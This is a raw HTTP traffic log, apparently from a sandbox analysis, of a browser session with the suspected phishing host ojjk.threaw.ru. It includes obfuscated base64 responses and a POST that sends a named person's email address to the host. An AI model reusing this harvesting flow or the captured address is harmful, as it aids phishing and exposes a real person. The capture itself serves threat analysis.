2025-03-25 15:27:27 UTC	1369	IN	Data Raw: 44 69 77 50 4b 52 73 7a 46 41 39 36 4b 43 49 69 42 77 30 54 46 78 70 62 66 79 59 76 64 68 68 2b 48 6a 4d 58 51 31 70 39 47 7a 77 71 49 7a 34 61 44 47 35 30 50 41 51 47 65 7a 6b 77 51 78 77 47 59 79 4a 30 4e 69 38 5a 61 67 4d 66 64 51 78 2f 46 78 30 41 66 6a 4d 6e 5a 30 42 62 49 69 45 74 4c 41 59 66 41 78 39 31 44 43 55 76 64 33 74 2b 43 79 63 59 42 6e 41 48 50 67 34 48 44 52 4d 58 48 33 56 34 4b 42 51 6f 43 43 51 7a 51 6a 4a 50 57 33 77 62 4d 42 51 4e 59 78 6f 30 42 45 45 35 4c 69 38 68 4b 54 5a 43 50 6b 5a 64 43 42 68 79 44 53 63 54 46 78 39 31 65 43 67 45 41 6e 38 6d 4d 52 30 79 52 6c 73 6c 49 69 49 44 4a 42 41 48 4d 33 4a 4b 42 41 51 47 44 79 6b 62 4d 78 64 52 59 43 4a 30 50 42 51 4a 42 41 6b 61 62 6e 4d 6e 46 77 49 69 66 7a 45 4b 4f 56 46 30 47 77 38 Data Ascii: DiwPKRszFA96KCIiBw0TFxpbfyYvdhh+HjMXQ1p9GzwqIz4aDG50PAQGezkwQxwGYyJ0Ni8ZagMfdQx/Fx0AfjMnZ0BbIiEtLAYfAx91DCUvd3t+CycYBnAHPg4HDRMXH3V4KBQoCCQzQjJPW3wbMBQNYxo0BEE5Li8hKTZCPkZdCBhyDScTFx91eCgEAn8mMR0yRlslIiIDJBAHM3JKBAQGDykbMxdRYCJ0PBQJBAkabnMnFwIifzEKOVF0Gw8
2025-03-25 15:27:27 UTC	1369	IN	Data Raw: 56 46 77 44 41 77 69 42 77 30 51 42 41 39 75 63 79 45 73 45 6e 70 34 47 7a 51 54 51 56 6f 48 4b 69 49 44 43 69 45 37 48 33 56 34 4b 41 51 47 44 79 6b 49 48 57 39 44 58 51 78 38 50 79 38 57 49 68 77 5a 58 33 67 33 41 53 38 59 4e 77 67 6e 5a 67 46 36 4a 67 77 69 42 77 30 51 53 52 56 52 56 69 67 45 42 67 38 70 48 67 6b 35 55 57 38 49 47 7a 38 71 43 54 34 45 4e 41 51 4d 50 78 51 53 4e 6a 51 62 4d 7a 6c 41 65 69 59 4d 49 67 63 4e 45 77 55 79 63 57 38 31 4b 51 49 69 4f 6a 42 43 59 30 5a 67 47 44 6f 78 4c 78 59 41 48 44 52 6c 65 7a 38 76 45 69 30 70 4e 77 63 35 55 58 41 4d 44 43 49 48 44 52 42 44 4e 32 46 72 66 79 77 42 49 53 6b 66 4a 42 64 42 57 67 63 71 63 67 30 6e 45 78 63 66 64 58 67 6f 42 41 49 6d 49 6a 4d 6e 4d 6c 6c 64 43 79 49 69 41 78 6f 54 42 7a 56 2b Data Ascii: VFwDAwiBw0QBA9ucyEsEnp4GzQTQVoHKiIDCiE7H3V4KAQGDykIHW9DXQx8Py8WIhwZX3g3AS8YNwgnZgF6JgwiBw0QSRVRVigEBg8pHgk5UW8IGz8qCT4ENAQMPxQSNjQbMzlAeiYMIgcNEwUycW81KQIiOjBCY0ZgGDoxLxYAHDRlez8vEi0pNwc5UXAMDCIHDRBDN2FrfywBISkfJBdBWgcqcg0nExcfdXgoBAImIjMnMlldCyIiAxoTBzV+
2025-03-25 15:27:27 UTC	1369	IN	Data Raw: 78 6e 51 42 70 75 58 53 4d 73 45 69 6f 68 4e 6a 51 35 55 57 41 69 64 44 59 55 43 69 45 37 48 33 56 34 4b 41 51 47 44 79 6b 32 4f 42 78 65 57 79 45 44 4e 53 6f 4a 50 67 59 30 58 46 59 6f 46 43 67 49 4a 44 4e 43 4d 6b 39 62 66 42 73 77 46 41 31 6a 47 6a 51 45 51 54 6b 75 4c 41 38 35 48 68 6f 59 54 48 41 49 47 79 30 74 66 41 64 48 46 56 39 34 4b 41 51 47 44 48 63 52 46 7a 6c 52 63 41 77 4d 49 67 49 6a 48 41 59 30 57 47 73 6e 46 48 59 66 4b 51 67 64 62 30 39 62 48 41 38 73 4b 68 59 41 51 44 51 45 44 58 6b 73 41 6e 64 38 43 43 67 66 55 56 77 34 49 69 49 48 44 52 4d 58 48 33 56 37 4a 68 51 53 41 44 77 49 51 78 78 41 58 52 68 34 4c 67 49 5a 48 41 59 30 63 51 41 32 41 69 77 50 4a 42 38 61 50 51 4a 30 43 41 52 77 41 54 6b 39 46 78 39 31 65 43 67 72 46 43 45 46 47 Data Ascii: xnQBpuXSMsEiohNjQ5UWAidDYUCiE7H3V4KAQGDyk2OBxeWyEDNSoJPgY0XFYoFCgIJDNCMk9bfBswFA1jGjQEQTkuLA85HhoYTHAIGy0tfAdHFV94KAQGDHcRFzlRcAwMIgIjHAY0WGsnFHYfKQgdb09bHA8sKhYAQDQEDXksAnd8CCgfUVw4IiIHDRMXH3V7JhQSADwIQxxAXRh4LgIZHAY0cQA2AiwPJB8aPQJ0CARwATk9Fx91eCgrFCEFG

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:27 UTC	1130	OUT	GET /ciKgVAN5n5uWnV8r0ssDQaxpwZlag HTTP/1.1 Host: ojjk.threaw.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI0TmxlMVBiaGhndkdKRlU0ZkZiOHc9PSIsInZhbHVlIjoiUG04eTZ0UmxMUWNnQnRuR1pqWTdrRHJPVGovRkpCUi9IQVBFUjljaC82ZTZZRGdqMGUyVmdGRHVObS9tUGFMQmp4dythbHNGWk1RWlJCTkJYWWhGSHAweXFEUUpMOFc1RHhETHJQcTkyWURMQUJ1MlJmR0JTMFRETXdmVnJBREEiLCJtYWMiOiJkZmY2NmY2MGFiNjExNDMwZDMzYzEzMzY1YzUwYjM1YjgzMDM1NzEyNGQzYmZiZTRmMDg4NWJiMGY4MDNmZWExIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik83Z01wZkF6ajFPVzBWVWZXTnVSV2c9PSIsInZhbHVlIjoicUV0OGNpUU9TUVVWQ29PWStaOE4rcm12eXBvSTl0Q2dHYUY3U1U2bjJpKzNlOG5IRXVWbHlNcU1zMElKVTNFNXNCcnZTNWp4bHd2OXV2SEtKem92b1F6YUVOQ3dKME5FaFRnRE9Zdy9IVlpNaEp3S0RQczY5d1BLOWtadnNDZmkiLCJtYWMiOiIwNjhkYzY3ZTdkZDQ1MTIwNzc0ZDRmMDQyNzkzNzE3MmVhN2MxYmMwMDQ2MzcxODU3ODQ3YjY4YTU4YzVjODFjIiwidGFnIjoiIn0%3D
2025-03-25 15:27:27 UTC	1023	IN	HTTP/1.1 404 Not Found Date: Tue, 25 Mar 2025 15:27:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ERPFwPkgCMvd7WOrRrsFvR1JpWEC%2BSvtm7Ezr7RAZEufKVzB0pHv2Ym%2FdEzUd3n5IqcKP17OFWDQUIHwJnUouZesZwbHbc4hzg4KqxUfcAE23OuON14DmoZTuP39"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1174&min_rtt=1082&rtt_var=472&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2035&delivery_rate=2676524&cwnd=252&unsent_bytes=0&cid=fbf315e371f2fc03&ts=82&x=0" Server: cloudflare CF-RAY: 925f6eb42921adca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105507&min_rtt=104662&rtt_var=22940&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2817&recv_bytes=1702&delivery_rate=35584&cwnd=252&unsent_bytes=0&cid=06aabcd1f1beaa41&ts=603&x=0"
2025-03-25 15:27:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:27 UTC	1443	OUT	POST /rqELAoQiLuhaQVVM12gvPvjW1Je7zylsUi2vns4SpEEYfw HTTP/1.1 Host: ojjk.threaw.ru Connection: keep-alive Content-Length: 36 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://ojjk.threaw.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ojjk.threaw.ru/BlKkhx/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI2QXJ5clp0cC80SVNMbEpEeE4vYkE9PSIsInZhbHVlIjoiVmE5WWNWV0kvdWVYeFpCbFplWG5LczcrSFU4dEhnSVpQUHJMRVd0VFpTQjFCbXM1dHphenpuYk9PUFlnUXF2V3ZTTmJRTmc1Wkg3QWZ4ZTNhbXlmZTg1TjlNUFcrWkQzWnRYUTVvRSt6Zm16ZmZEdllOaFpIdFFMMnI1VXAxcmciLCJtYWMiOiI3YzQ1ODM0MmQzN2Y2NWU0Y2FmYzRiMThhMTRiZTM1NjY2Yzc4Njc1NWVjM2ExNDRiZTRjNzhlMTQ3MWNiOTM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlRuUXRtVmVJV0dNZG00SkUvL0xQb1E9PSIsInZhbHVlIjoidjRCRFp3SzR3aFZwa2lxSDZqY0FScThLeXlsbXhvQ1VMUjgzUmVqd1VNWTVZUENKdWNwYWFHRWJnKzN6Y1pGdDFFVEcwdkxHR0hjV2FaYUc5TUVXMm9LeGZYTWJSd0JxSUVQeGJFUUJ1TytObzhNYTQ2OU5wUVUzY2s1SXVmelIiLCJtYWMiOiI0ZjY3OWFkNDBkNDM4OTgxY2Q0NDYzMWJkMzE5M2RjOTM0NmVhZDY3OWY5MzIzMzNiMTBiZGNhM2ZmNDNkOTc1IiwidGFnIjoiIn0%3D
2025-03-25 15:27:27 UTC	36	OUT	Data Raw: 64 61 74 61 3d 52 45 62 72 61 64 65 6e 25 34 30 68 75 6d 70 68 72 65 79 73 63 61 70 69 74 61 6c 2e 63 6f 6d Data Ascii: data=REbraden%40humphreyscapital.com
2025-03-25 15:27:28 UTC	1205	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A6kJXVwjJEQEBhL%2BZKo5sTLtQ9bwJFk9J4%2FOxpdamfWkDn3fN9LV2%2FU3EIl3axurWsyQ2Sig8RM6gySDj0aTYVYpivQo5aADPiYWLvLSEfzSOHbEE6QM5mi13lR5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=42826&min_rtt=42758&rtt_var=16172&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2384&delivery_rate=66868&cwnd=59&unsent_bytes=0&cid=2a71ca9369789c98&ts=170&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InF5TmQ2Y0IxaXpvbDBWWG1kNzRiV3c9PSIsInZhbHVlIjoiUFljM09JZ1c0bjZpNTRncklOcVBLSUJxOUFSeFZ3QzhxdTFpckhOUnl5dEJQSE1iajEzV2F4QVlLUzJ0OHc1d1ZaQjY1Z3NQUXFVTzVCbTZwTW54Zk1ydWlrWGVCVWhpK2hvUkIvY0p3OXNqc0ZuUHlHNXRBbVVaa0UwQWQ3azkiLCJtYWMiOiI3YzIwMDgwODViMDNiYWJlYzE2YjgxYThiN2MyNGNlYzRjYzdkMzJlMGI3ZTcxZDY0MzY3YzY0NTEyMmUwNDljIiwidGFnIjoiIn0%3D; expires=Tue, 25-Mar-2025 17:27:28 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-25 15:27:28 UTC	768	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 39 49 4d 31 4d 76 61 54 42 6f 57 48 49 31 63 46 6c 78 63 32 74 6d 62 54 46 44 5a 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 53 55 78 6c 4d 57 51 79 54 6e 4e 48 62 30 63 31 57 55 6c 36 53 6c 46 6e 56 32 35 43 54 6e 52 75 53 30 73 30 59 7a 56 47 52 55 74 53 4d 58 6c 4d 5a 54 6b 35 52 31 52 4e 51 55 68 77 56 45 39 5a 51 6e 46 7a 61 57 6c 44 57 6d 31 74 53 46 42 58 4e 32 64 54 65 46 68 35 5a 55 73 77 4e 31 45 31 4d 47 56 5a 59 54 52 33 63 6b 74 79 4c 33 46 78 64 55 39 79 4b 30 4a 4e 54 56 5a 43 56 32 74 4d 51 54 68 4b 5a 55 77 35 63 47 4d 72 64 54 46 79 4e 6b 52 6a 4d 6e 4d 78 5a 55 46 4d 59 7a 56 6e 54 55 68 33 61 53 74 35 57 45 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Im9IM1MvaTBoWHI1cFlxc2tmbTFDZHc9PSIsInZhbHVlIjoiSUxlMWQyTnNHb0c1WUl6SlFnV25CTnRuS0s0YzVGRUtSMXlMZTk5R1RNQUhwVE9ZQnFzaWlDWm1tSFBXN2dTeFh5ZUswN1E1MGVZYTR3cktyL3FxdU9yK0JNTVZCV2tMQThKZUw5cGMrdTFyNkRjMnMxZUFMYzVnTUh3aSt5WEE
2025-03-25 15:27:28 UTC	275	IN	Data Raw: 31 30 63 0d 0a 7b 22 61 22 3a 22 67 69 4f 5c 2f 43 30 36 77 50 65 79 38 6d 44 4d 58 33 39 49 64 54 34 6e 31 76 55 43 6f 66 62 35 33 4b 52 78 45 37 36 50 57 32 42 46 79 4b 63 5c 2f 71 36 37 35 45 37 6f 43 70 33 76 44 5c 2f 39 5a 58 65 5a 45 32 77 77 61 77 46 35 78 7a 2b 5a 4c 49 77 43 78 4d 4b 44 41 30 76 30 41 68 77 78 47 36 4d 72 35 42 72 49 4d 56 6a 55 72 49 3d 22 2c 22 62 22 3a 22 39 64 63 34 33 66 38 34 39 66 39 61 36 66 36 35 36 33 61 64 38 36 63 36 31 38 36 38 33 31 34 34 22 2c 22 63 22 3a 22 33 37 35 30 66 32 61 32 39 38 35 61 38 65 61 39 36 37 35 35 62 62 63 33 32 38 39 33 65 36 34 30 22 2c 22 64 22 3a 22 33 30 33 39 33 32 36 34 36 34 33 34 36 31 33 39 36 31 33 39 33 39 33 32 36 31 36 31 33 35 36 34 33 38 33 36 33 34 33 32 33 32 36 34 33 38 33 33 Data Ascii: 10c{"a":"giO\/C06wPey8mDMX39IdT4n1vUCofb53KRxE76PW2BFyKc\/q675E7oCp3vD\/9ZXeZE2wwawF5xz+ZLIwCxMKDA0v0AhwxG6Mr5BrIMVjUrI=","b":"9dc43f849f9a6f6563ad86c618683144","c":"3750f2a2985a8ea96755bbc32893e640","d":"303932646434613961393932616135643836343232643833
2025-03-25 15:27:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:28 UTC	1321	OUT	GET /favicon.ico HTTP/1.1 Host: ojjk.threaw.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ojjk.threaw.ru/BlKkhx/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI2QXJ5clp0cC80SVNMbEpEeE4vYkE9PSIsInZhbHVlIjoiVmE5WWNWV0kvdWVYeFpCbFplWG5LczcrSFU4dEhnSVpQUHJMRVd0VFpTQjFCbXM1dHphenpuYk9PUFlnUXF2V3ZTTmJRTmc1Wkg3QWZ4ZTNhbXlmZTg1TjlNUFcrWkQzWnRYUTVvRSt6Zm16ZmZEdllOaFpIdFFMMnI1VXAxcmciLCJtYWMiOiI3YzQ1ODM0MmQzN2Y2NWU0Y2FmYzRiMThhMTRiZTM1NjY2Yzc4Njc1NWVjM2ExNDRiZTRjNzhlMTQ3MWNiOTM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlRuUXRtVmVJV0dNZG00SkUvL0xQb1E9PSIsInZhbHVlIjoidjRCRFp3SzR3aFZwa2lxSDZqY0FScThLeXlsbXhvQ1VMUjgzUmVqd1VNWTVZUENKdWNwYWFHRWJnKzN6Y1pGdDFFVEcwdkxHR0hjV2FaYUc5TUVXMm9LeGZYTWJSd0JxSUVQeGJFUUJ1TytObzhNYTQ2OU5wUVUzY2s1SXVmelIiLCJtYWMiOiI0ZjY3OWFkNDBkNDM4OTgxY2Q0NDYzMWJkMzE5M2RjOTM0NmVhZDY3OWY5MzIzMzNiMTBiZGNhM2ZmNDNkOTc1IiwidGFnIjoiIn0%3D
2025-03-25 15:27:28 UTC	1058	IN	HTTP/1.1 404 Not Found Date: Tue, 25 Mar 2025 15:27:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BNabfeuUIocKC93H1Lp6GEu2yZTC%2F9MAVgT8t5NF3sFbkOiZjQflMU6MFrsJxhlk09JNjVQ1sU15CxYfnrCVydF7pYJZmNycABcPIDQ%2FFW50MeMnP%2FrAJacxLJ9g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=40058&min_rtt=39952&rtt_var=15195&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2226&delivery_rate=70973&cwnd=108&unsent_bytes=0&cid=95e0ebccaef598ee&ts=173&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 925f6eb939397cf6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105398&min_rtt=104628&rtt_var=22856&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2817&recv_bytes=1893&delivery_rate=35596&cwnd=234&unsent_bytes=0&cid=100d68d0db15b82b&ts=729&x=0"
2025-03-25 15:27:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:28 UTC	529	OUT	OPTIONS /report/v4?s=ERPFwPkgCMvd7WOrRrsFvR1JpWEC%2BSvtm7Ezr7RAZEufKVzB0pHv2Ym%2FdEzUd3n5IqcKP17OFWDQUIHwJnUouZesZwbHbc4hzg4KqxUfcAE23OuON14DmoZTuP39 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://ojjk.threaw.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:28 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Tue, 25 Mar 2025 15:27:28 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:28 UTC	504	OUT	POST /report/v4?s=ERPFwPkgCMvd7WOrRrsFvR1JpWEC%2BSvtm7Ezr7RAZEufKVzB0pHv2Ym%2FdEzUd3n5IqcKP17OFWDQUIHwJnUouZesZwbHbc4hzg4KqxUfcAE23OuON14DmoZTuP39 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 415 Content-Type: application/reports+json Origin: https://ojjk.threaw.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:28 UTC	415	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 32 30 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 36 37 2e 32 31 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 6a 6a 6b 2e 74 68 72 65 61 77 2e 72 75 Data Ascii: [{"age":0,"body":{"elapsed_time":1209,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.167.219","status_code":404,"type":"http.error"},"type":"network-error","url":"https://ojjk.threaw.ru
2025-03-25 15:27:28 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Tue, 25 Mar 2025 15:27:28 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:28 UTC	1147	OUT	GET /rqELAoQiLuhaQVVM12gvPvjW1Je7zylsUi2vns4SpEEYfw HTTP/1.1 Host: ojjk.threaw.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InF5TmQ2Y0IxaXpvbDBWWG1kNzRiV3c9PSIsInZhbHVlIjoiUFljM09JZ1c0bjZpNTRncklOcVBLSUJxOUFSeFZ3QzhxdTFpckhOUnl5dEJQSE1iajEzV2F4QVlLUzJ0OHc1d1ZaQjY1Z3NQUXFVTzVCbTZwTW54Zk1ydWlrWGVCVWhpK2hvUkIvY0p3OXNqc0ZuUHlHNXRBbVVaa0UwQWQ3azkiLCJtYWMiOiI3YzIwMDgwODViMDNiYWJlYzE2YjgxYThiN2MyNGNlYzRjYzdkMzJlMGI3ZTcxZDY0MzY3YzY0NTEyMmUwNDljIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im9IM1MvaTBoWHI1cFlxc2tmbTFDZHc9PSIsInZhbHVlIjoiSUxlMWQyTnNHb0c1WUl6SlFnV25CTnRuS0s0YzVGRUtSMXlMZTk5R1RNQUhwVE9ZQnFzaWlDWm1tSFBXN2dTeFh5ZUswN1E1MGVZYTR3cktyL3FxdU9yK0JNTVZCV2tMQThKZUw5cGMrdTFyNkRjMnMxZUFMYzVnTUh3aSt5WEEiLCJtYWMiOiJjOGVmODIyOWQzZGJhZDFjMDhjMGU5YWIzZjIwNTI5ZDU0ZmY1MDY4OGI1YjcwYjkyZDMwY2NiYTQ4YTlhOGE0IiwidGFnIjoiIn0%3D
2025-03-25 15:27:29 UTC	1028	IN	HTTP/1.1 404 Not Found Date: Tue, 25 Mar 2025 15:27:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jzCx7FUXILDRQpROuEEaC5cXDi52eH7lbqr1Z2EHyuzoHL7gRy1pzzRTtZR5mbVY5nwMrVJHNJO%2FMFu3eW8sbU%2BYSeDiNCPzB5NBdMkfOSrXs%2F9idWHIOnpVQ6hG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=39462&min_rtt=39165&rtt_var=14899&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2053&delivery_rate=73943&cwnd=251&unsent_bytes=0&cid=e5d2900b1449ebc9&ts=167&x=0" Server: cloudflare CF-RAY: 925f6ebe1be64316-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106442&min_rtt=105301&rtt_var=23389&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1719&delivery_rate=35369&cwnd=242&unsent_bytes=0&cid=8c2690e3eadb3958&ts=773&x=0"
2025-03-25 15:27:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:28 UTC	1463	OUT	GET /roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI HTTP/1.1 Host: ojjk.threaw.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://ojjk.threaw.ru/BlKkhx/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InF5TmQ2Y0IxaXpvbDBWWG1kNzRiV3c9PSIsInZhbHVlIjoiUFljM09JZ1c0bjZpNTRncklOcVBLSUJxOUFSeFZ3QzhxdTFpckhOUnl5dEJQSE1iajEzV2F4QVlLUzJ0OHc1d1ZaQjY1Z3NQUXFVTzVCbTZwTW54Zk1ydWlrWGVCVWhpK2hvUkIvY0p3OXNqc0ZuUHlHNXRBbVVaa0UwQWQ3azkiLCJtYWMiOiI3YzIwMDgwODViMDNiYWJlYzE2YjgxYThiN2MyNGNlYzRjYzdkMzJlMGI3ZTcxZDY0MzY3YzY0NTEyMmUwNDljIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im9IM1MvaTBoWHI1cFlxc2tmbTFDZHc9PSIsInZhbHVlIjoiSUxlMWQyTnNHb0c1WUl6SlFnV25CTnRuS0s0YzVGRUtSMXlMZTk5R1RNQUhwVE9ZQnFzaWlDWm1tSFBXN2dTeFh5ZUswN1E1MGVZYTR3cktyL3FxdU9yK0JNTVZCV2tMQThKZUw5cGMrdTFyNkRjMnMxZUFMYzVnTUh3aSt5WEEiLCJtYWMiOiJjOGVmODIyOWQzZGJhZDFjMDhjMGU5YWIzZjIwNTI5ZDU0ZmY1MDY4OGI1YjcwYjkyZDMwY2NiYTQ4YTlhOGE0IiwidGFnIjoiIn0%3D
